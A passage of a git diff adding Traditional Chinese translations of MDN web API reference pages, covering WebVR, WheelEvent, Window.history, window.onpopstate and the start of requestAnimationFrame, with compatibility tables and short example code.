+ <li><a href="https://tools.ietf.org/html/rfc5389"><cite>Session Traversal Utilities for NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7064"><cite>URI Scheme for the Session Traversal Utilities for NAT (STUN) Protocol</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7065"><cite>Traversal Using Relays around NAT (TURN) Uniform Resource Identifiers</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc3264"><cite>An Offer/Answer Model with Session Description Protocol (SDP)</cite></a></li>
+ <li><a href="https://datatracker.ietf.org/doc/draft-ietf-tram-turn-third-party-authz/"><cite>Session Traversal Utilities for NAT (STUN) Extension for Third Party Authorization</cite></a></li>
+</ul>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>The initial definition of the API of WebRTC.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>The initial definition of the object conveying the stream of media content.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>The initial definition on how to obtain stream of content from DOM Elements</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>In additions to these specifications defining the API needed to use WebRTC, there are several protocols, listed under <a href="#Protocols">resources</a>.</p>
+
+<h2 class="Related_Topics" id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("MediaDevices")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/06/firefox-multistream-and-renegotiation-for-jitsi-videobridge/">Firefox multistream and renegotiation for Jitsi Videobridge</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/04/peering-through-the-webrtc-fog-with-socketpeer/">Peering Through the WebRTC Fog with SocketPeer</a></li>
+ <li><a href="https://hacks.mozilla.org/2014/04/inside-the-party-bus-building-a-web-app-with-multiple-live-video-streams-interactive-graphics/">Inside the Party Bus: Building a Web App with Multiple Live Video Streams + Interactive Graphics</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/webvr_api/index.html b/files/zh-tw/web/api/webvr_api/index.html
new file mode 100644
index 0000000000..926a1c3b25
--- /dev/null
+++ b/files/zh-tw/web/api/webvr_api/index.html
@@ -0,0 +1,246 @@
+---
+title: WebVR API
+slug: Web/API/WebVR_API
+translation_of: Web/API/WebVR_API
+---
+<div>{{SeeCompatTable}}{{APIRef("WebVR API")}}</div>
+
+<p class="summary">WebVR 可以讓穿戴的VR裝置 (如頭戴裝置 Oculus Rift 或 HTC Vive) 與 web 應用程式結合。開發人員可以將VR裝置所提供的位置與動作資訊轉移到3D的場景中。利用 WebVR可以創造出很多有趣的應用程式: 包含虛擬導覽、互動訓練軟體等等。</p>
+
+<h2 id="用法與基本觀念">用法與基本觀念</h2>
+
+<p>透過呼叫 {{domxref("Navigator.getVRDisplays()")}} 函數可以得到與電腦連接的VR裝置，每個裝置會回傳一個 {{domxref("VRDisplay")}} 物件</p>
+
+<p><img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png" style="display: block; height: 78px; margin: 0px auto; width: 60%;"></p>
+
+<p>{{domxref("VRDisplay")}} 是 WebVR API 的核心，提供以下功能:</p>
+
+<ul>
+ <li>Retrieve useful information to allow us to identify the display, what capabilities it has, controllers associated with it, and more.</li>
+ <li>Retrieve {{domxref("VRFrameData", "frame data")}} for each frame of content you you want to present in a display, and submit those frames for display at a consistent rate.</li>
+ <li>Start and stop presenting to the display.</li>
+</ul>
+
+<p>A typical (simple) WebVR app would work like so:</p>
+
+<ol>
+ <li>呼叫 {{domxref("Navigator.getVRDisplays()")}} 來取得 VR 顯示器的 reference。</li>
+ <li>呼叫 {{domxref("VRDisplay.requestPresent()")}} 來啟動 VR顯示器。</li>
+ <li>WebVR's dedicated {{domxref("VRDisplay.requestAnimationFrame()")}} method is used to run the app's rendering loop at the correct refresh rate for the display.</li>
+ <li>Inside the rendering loop, you grab the data required to display the current frame ({{domxref("VRDisplay.getFrameData()")}}), draw the displayed scene twice — once for the view in each eye, then submit the rendered view to the display to show to the user ({{domxref("VRDisplay.submitFrame()")}}).</li>
+</ol>
+
+<p>In addition, WebVR 1.1 adds a number of events on the {{domxref("Window")}} object to allow JavaScript to respond to changes to the status of the display.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find a lot more out about how the API works in our <a href="/en-US/docs/Web/API/WebVR_API/Using_the_WebVR_API">Using the WebVR API</a> and <a href="/en-US/docs/Web/API/WebVR_API/Concepts">WebVR Concepts</a> articles.</p>
+</div>
+
+<h3 id="Using_controllers_Combining_WebVR_with_the_Gamepad_API">Using controllers: Combining WebVR with the Gamepad API</h3>
+
+<p>Many WebVR hardware setups feature controllers that go along with the headset. These can be used in WebVR apps via the <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a>, and specifically the <a href="/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">Gamepad Extensions API</a> that adds API features for accessing <a href="/en-US/docs/Web/API/GamepadPose">controller pose</a>, <a href="/en-US/docs/Web/API/GamepadHapticActuator">haptic actuators</a>, and more.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Our <a href="/en-US/docs/Web/API/WebVR_API/Using_VR_controllers_with_WebVR">Using VR controllers with WebVR</a> article explains the basics of how to use VR controllers with WebVR apps.</p>
+</div>
+
+<h2 id="WebVR_Interfaces">WebVR Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplay")}}</dt>
+ <dd>Represents any VR device supported by this API. It includes generic information such as device IDs and descriptions, as well as methods for starting to present a VR scene, retrieving eye parameters and display capabilities, and other important functionality.</dd>
+ <dt>{{domxref("VRDisplayCapabilities")}}</dt>
+ <dd>Describes the capabilities of a {{domxref("VRDisplay")}} — it's features can be used to perform VR device capability tests, for example can it return position information.</dd>
+ <dt>{{domxref("VRDisplayEvent")}}</dt>
+ <dd>Represents the event object of WebVR-related events (see the {{anch("Window", "window object extensions")}} listed below).</dd>
+ <dt>{{domxref("VRFrameData")}}</dt>
+ <dd>Represents all the information needed to render a single frame of a VR scene; constructed by {{domxref("VRDisplay.getFrameData()")}}.</dd>
+ <dt>{{domxref("VRPose")}}</dt>
+ <dd>Represents the position state at a given timestamp (which includes orientation, position, velocity, and acceleration.)</dd>
+ <dt>{{domxref("VREyeParameters")}}</dt>
+ <dd>Provides access to all the information required to correctly render a scene for each given eye, including field of view information.</dd>
+ <dt>{{domxref("VRFieldOfView")}}</dt>
+ <dd>Represents a field of view defined by 4 different degree values describing the view from a center point.</dd>
+ <dt>{{domxref("VRLayerInit")}}</dt>
+ <dd>Represents a layer to be presented in a {{domxref("VRDisplay")}}.</dd>
+ <dt>{{domxref("VRStageParameters")}}</dt>
+ <dd>Represents the values describing the the stage area for devices that support room-scale experiences.</dd>
+</dl>
+
+<h3 id="Extensions_to_other_interfaces">Extensions to other interfaces</h3>
+
+<p>The WebVR API extends the following APIs, adding the listed features.</p>
+
+<h4 id="Gamepad">Gamepad</h4>
+
+<dl>
+ <dt>{{domxref("Gamepad.displayId")}} {{readonlyInline}}</dt>
+ <dd><dfn>Returns the {{domxref("VRDisplay.displayId")}} of the associated {{domxref("VRDisplay")}} — the <code>VRDisplay</code> that the gamepad is controlling the displayed scene of.</dfn></dd>
+</dl>
+
+<h4 id="Navigator">Navigator</h4>
+
+<dl>
+ <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}</dt>
+ <dd>Returns an array containing every {{domxref("VRDisplay")}} object that is currently presenting ({{domxref("VRDisplay.ispresenting")}} is <code>true</code>).</dd>
+ <dt>{{domxref("Navigator.getVRDisplays()")}}</dt>
+ <dd>Returns a promise that resolves to an array of {{domxref("VRDisplay")}} objects representing any available VR displays connected to the computer.</dd>
+</dl>
+
+<h4 id="Window_events">Window events</h4>
+
+<dl>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>Represents an event handler that will run when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR display has been connected to the computer (when the {{event("vrdisplayconnect")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR display has been disconnected from the computer (when the {{event("vrdisplaydisconnect")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</dd>
+ <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</dd>
+</dl>
+
+<h4 id="Unimplemented_window_events">Unimplemented window events</h4>
+
+<p>The following events are listed in the spec, but do not currently seem to be implemented anywhere as yet.</p>
+
+<dl>
+ <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</dd>
+ <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>You can find a number of examples at these locations:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/webvr-tests">webvr-tests</a> — very simple examples to accompany the MDN WebVR documentation.</li>
+ <li><a href="https://github.com/facebook/Carmel-Starter-Kit">Carmel starter kit</a> — nice simple, well-commented examples that go along with Carmel, Facebook's WebVR browser.</li>
+ <li><a href="https://webvr.info/samples/">WebVR.info samples</a> — slightly more in-depth examples plus source code</li>
+ <li><a href="https://webvr.rocks/firefox#demos">WebVR.rocks Firefox demos</a> — showcase examples</li>
+ <li><a href="https://aframe.io/">A-Frame homepage</a> — examples showing A-Frame usage</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Defines the <a href="/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">Experimental Gamepad extensions</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Gamepad extensions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+   <th>Samsung Internet for GearVR</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+  </tr>
+  <tr>
+   <td>Gamepad extensions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] API Available on all platforms behind a flag, but currently only works on desktop in an <a href="https://webvr.info/get-chrome/">experimental version of Chrome</a> (other builds won't return any devices when {{domxref("Navigator.getVRDisplays()")}} is invoked).</p>
+
+<p>[2] Currently only Windows support is enabled by default. Mac support is <a href="https://hacks.mozilla.org/2017/06/announcing-webvr-on-mac/">available in Firefox Nightly</a>.</p>
+
+<p>[3] Currently supported only by Google Daydream.</p>
+
+<p>[4] Enabled in Firefox Nightly and Beta, versions 55 and above. Enabled/disabled by the <code>dom.gamepad-extensions.enabled</code> pref.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://vr.mozilla.org">vr.mozilla.org</a> — The main Mozilla landing pad for WebVR, with demos, utilities, and other information.</li>
+ <li><a href="https://aframe.io/">A-Frame</a> — Open source web framework for building VR experiences.</li>
+ <li><a href="https://webvr.info">webvr.info</a> — Up-to-date information about WebVR, browser setup, and community.</li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — Demos, downloads, and other resources from the Mozilla VR team.</li>
+ <li><a href="https://github.com/MozVR/vr-web-examples/tree/master/threejs-vr-boilerplate">threejs-vr-boilerplate</a> — A useful starter template for writing WebVR apps into.</li>
+ <li><a href="https://github.com/googlevr/webvr-polyfill/">Web VR polyfill</a> — JavaScript implementation of WebVR.</li>
+</ul>
diff --git a/files/zh-tw/web/api/wheelevent/index.html b/files/zh-tw/web/api/wheelevent/index.html
new file mode 100644
index 0000000000..e7446cc044
--- /dev/null
+++ b/files/zh-tw/web/api/wheelevent/index.html
@@ -0,0 +1,196 @@
+---
+title: WheelEvent
+slug: Web/API/WheelEvent
+translation_of: Web/API/WheelEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>WheelEvent DOM事件會在用戶滚动滑鼠滚轮或操作其它類似滑鼠的設備時觸發。</p>
+
+<div class="warning"><strong>該事件爲標準規定的事件介面。</strong>早期的瀏覽器實現過{{ domxref("MouseWheelEvent") }}和{{domxref("MouseScrollEvent")}}兩種滾輪事件介面，但這兩種介面皆非標準，加之各瀏覽器間對其相容性極差。因而開發者應用該標準事件介面取代這兩個非標準介面。</div>
+
+<div class="note"><strong>注意事項：</strong> 請勿想當然依據滾輪方向（即該事件的各delta屬性值）來推斷文檔內容的滾動方向，因標準未定義滾輪事件具體會引發什麼樣的行爲，引發的行爲實際上是各瀏覽器自行定義的。即便滾輪事件引發了文檔內容的滾動行爲，也不表示滾輪方向和文檔內容的滾動方向一定相同。因而通過該滾輪事件獲知文檔內容滾動方向的方法並不可靠。要獲取文檔內容的滾動方向，可在文檔內容滾動事件（{{event("scroll")}}）中監視{{domxref("Element.scrollLeft", "scrollLeft")}}和{{domxref("Element.scrollTop", "scrollTop")}}二值變化情況，即可推斷出滾動方向了。</div>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("WheelEvent.WheelEvent", "WheelEvent()")}}</dt>
+ <dd>建立一個<code>WheelEvent</code>物件。</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>該介面繼承了父介面{{domxref("MouseEvent")}}、{{domxref("UIEvent")}}、{{domxref("Event")}}的屬性。</em></p>
+
+<dl id="raw_prop">
+ <dt>{{domxref("WheelEvent.deltaX")}} {{readonlyinline}}</dt>
+ <dd>返回<code>double</code>值，該值表示滾輪的橫向滾動量。</dd>
+ <dt>{{domxref("WheelEvent.deltaY")}} {{readonlyinline}}</dt>
+ <dd>返回<code>double</code>值，該值表示滾輪的縱向滾動量。</dd>
+ <dt>{{domxref("WheelEvent.deltaZ")}} {{readonlyinline}}</dt>
+ <dd>返回<code>double</code>值，該值表示滾輪的z軸方向上的滾動量。</dd>
+ <dt>{{domxref("WheelEvent.deltaMode")}} {{readonlyinline}}</dt>
+ <dd>返回<code>unsigned long</code>值，該值表示上述各delta的值的單位。該值及所表示的單位如下：
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">常數</td>
+    <td class="header">值</td>
+    <td class="header">描述</td>
+   </tr>
+   <tr>
+    <td><code>DOM_DELTA_PIXEL</code></td>
+    <td><code>0x00</code></td>
+    <td>滾動量單位爲像素。</td>
+   </tr>
+   <tr>
+    <td><code>DOM_DELTA_LINE</code></td>
+    <td><code>0x01</code></td>
+    <td>滾動量單位爲行。</td>
+   </tr>
+   <tr>
+    <td><code>DOM_DELTA_PAGE</code></td>
+    <td><code>0x02</code></td>
+    <td>滾動量單位爲頁。</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>該介面本身未定義方法，但繼承了父介面{{domxref("MouseEvent")}}、{{domxref("UIEvent")}}、{{domxref("Event")}}的方法。</em></p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#interface-wheelevent','WheelEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>基本功能</td>
+   <td>31</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatGeckoDesktop("17.0") }}</td>
+   <td>{{ CompatIE("9.0") }}</td>
+   <td>18</td>
+   <td>7.0</td>
+  </tr>
+  <tr>
+   <td><code>window.WheelEvent</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatGeckoDesktop("17.0") }}</td>
+   <td>{{ CompatIE("9.0") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+  <tr>
+   <td><code>WheelEvent</code> + <kbd>Ctrl</kbd> 鍵<sup>[2]</sup>實現按住縮放功能</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("55.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>基本功能</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("17.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>window.WheelEvent</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("17.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>WheelEvent</code> + <kbd>Ctrl</kbd> 鍵<sup>[2]</sup>實現按住縮放功能</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("55.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 嚴格說，Safari並非真正支援<code>WheelEvent</code>，只不過會返回window.WheelEvent物件。</p>
+
+<p>[2] 這樣在觸控平面上，比如觸控螢幕或是觸控板上，開發者就可根據用戶按住縮放手勢來實現簡單的縮放功能 (滑鼠滾輪 + <kbd>Ctrl</kbd> 習慣上用於縮放)。</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{ event("wheel") }}</li>
+ <li>該介面取代的過時介面：
+  <ul>
+   <li>{{ domxref("MouseScrollEvent") }}（Gecko內核瀏覽器）</li>
+   <li>{{ domxref("MouseWheelEvent") }}（非Gecko內核的瀏覽器）</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/api/window.history/index.html b/files/zh-tw/web/api/window.history/index.html
new file mode 100644
index 0000000000..67b79c5f82
--- /dev/null
+++ b/files/zh-tw/web/api/window.history/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.history
+slug: Web/API/Window.history
+translation_of: Web/API/Window/history
+---
+<p>{{ APIRef }}</p>
+
+<p><code><strong>Window</strong>.<strong>history</strong></code> 唯讀屬性會回傳一個 {{domxref("History")}} 物件，其提供了一個介面來操控瀏覽器的 <em>session history</em> 紀錄（為當前面頁所在分頁中訪問、或於當前面頁中透過頁面框架（frame）所載入的頁面）。</p>
+
+<p>相關範例及細節請參考<a href="/zh-TW/docs/Web/API/History_API">操控瀏覽器歷史紀錄</a>一文。文章中解釋了在使用 <code>pushState()</code> 與 <code>replaceState()</code> 方法前應該要知道的安全性功能。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>var historyObj</em> = <em>window</em>.history;
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">history.back();     // 相當於按下上一頁按鈕
+history.go(-1);     // 相當於 history.back();
+</pre>
+
+<h2 id="備註">備註</h2>
+
+<p>For top-level pages you can see the list of pages in the session history, accessible via the <code>History</code> object, in the browser's dropdowns next to the back and forward buttons.</p>
+
+<p>For security reasons the <code>History</code> object doesn't allow the non-privileged code to access the URLs of other pages in the session history, but it does allow it to navigate the session history.</p>
+
+<p>There is no way to clear the session history or to disable the back/forward navigation from unprivileged code. The closest available solution is the <code><a href="/en/DOM/window.location#replace" title="en/DOM/window.location#replace">location.replace()</a></code> method, which replaces the current item of the session history with the provided URL.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/window.onpopstate/index.html b/files/zh-tw/web/api/window.onpopstate/index.html
new file mode 100644
index 0000000000..d98464d356
--- /dev/null
+++ b/files/zh-tw/web/api/window.onpopstate/index.html
@@ -0,0 +1,57 @@
+---
+title: window.onpopstate
+slug: Web/API/Window.onpopstate
+translation_of: Web/API/WindowEventHandlers/onpopstate
+---
+<div>{{ApiRef}} {{gecko_minversion_header("2")}}</div>
+
+<h2 id="Summary" name="Summary">摘要</h2>
+
+<p>視窗上 popstate 事件的事件處理器。</p>
+
+<p>在同一文件的當前歷史紀錄變動時，如果其變動介於兩個歷史紀錄間，<code>popstate</code> 就會被呼叫。如果當前的歷史紀錄是藉由呼叫 <code>history.pushState() </code>建立，或曾被 <code>history.replaceState() 修改過，popstate </code>事件的 <code>state</code> 屬性，將包含一份歷史紀錄的 state 物件。</p>
+
+<p>請注意：直接呼叫 <code>history.pushState()</code> 或 <code>history.replaceState()</code> 不會驅動 <code>popstate</code> 事件。<code>popstate</code> 事件只會被瀏覽器的行為驅動，例如點擊上一頁按鈕（或透過 JavaScript 呼叫 <code>history.back()</code>）。且此事件只會在用戶於同文件的兩個歷史紀錄間瀏覽時作動。</p>
+
+<p>在頁面載入時，不同瀏覽器具有不同的 <code>popstate</code> 行為。Chrome 與 Safari 會在頁面載入時觸發 <code>popstate</code> 事件，但 Firefox 則不會。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">window.onpopstate = <var>funcRef</var>;
+</pre>
+
+<ul>
+ <li><var>funcRef</var> 是一個事件處理函數</li>
+</ul>
+
+<h2 id="The_popstate_event" name="The_popstate_event">popstate 事件</h2>
+
+<p>以下範例，位於 <code><var>http://example.com/example.html</var></code> 並執行下列程式的頁面，將會產生如標示的對話框：</p>
+
+<pre class="brush: js">window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // 跳出 "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // 跳出 "location: http://example.com/example.html, state: null
+history.go(2);  // 跳出 "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p><span style="line-height: inherit;">請注意，</span><span style="line-height: inherit;">雖然原始的歷史紀錄（</span><code><var>http://example.com/example.html</var></code><span style="line-height: inherit;">）沒有關聯的 state 物件，在我們第二次呼叫 </span><code style="font-size: 14px; line-height: inherit;">hitsory.back() 時仍然會觸發</code><code style="font-size: 14px; line-height: inherit;"> </code><code style="font-size: 14px; line-height: inherit;">popstate</code><span style="line-height: inherit;"> 事件</span><span style="line-height: inherit;">。</span></p>
+
+<h2 id="Specification" name="Specification">標準</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#handler-window-onpopstate">HTML5 popstate event</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">請參照</h2>
+
+<ul>
+ <li>{{domxref("window.history")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history">Manipulating the browser history</a></li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example">Ajax navigation example</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/window.requestanimationframe/index.html b/files/zh-tw/web/api/window.requestanimationframe/index.html
new file mode 100644
index 0000000000..55aa85d292
--- /dev/null
+++ b/files/zh-tw/web/api/window.requestanimationframe/index.html
@@ -0,0 +1,94 @@
+---
+title: Window.requestAnimationFrame()
+slug: Web/API/Window.requestAnimationFrame
+translation_of: Web/API/window/requestAnimationFrame
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>window.requestAnimationFrame()</code></strong>方法通知瀏覽器我們想要產生動畫，並且要求瀏覽器在下次重繪畫面前呼叫特定函數更新動畫。這個方法接受一個引數作為下次重繪前調用的回呼函數。</p>
+
+<div class="note"><strong>Note:</strong> 若是想要在下次重繪時產生另一個動畫，這個回呼函數內必須自行呼叫 requestAnimationFrame()。</div>
+
+<p>當準備好更新頁面上的動畫時應當呼叫這個方法。這表示向瀏覽器請求在下次重繪前呼叫這個動畫函數。回呼的次數通常落在每秒 60 次，但通常會根據 W3C 的建議符合多數瀏覽器重新整理的頻率。當頁面處於背景或隱藏狀態時 {{ HTMLElement("iframe") }} ，多數的瀏覽器會暫停 <code>requestAnimationFrame()</code> 的呼叫，從而改善效能表現及電池壽命。</p>
+
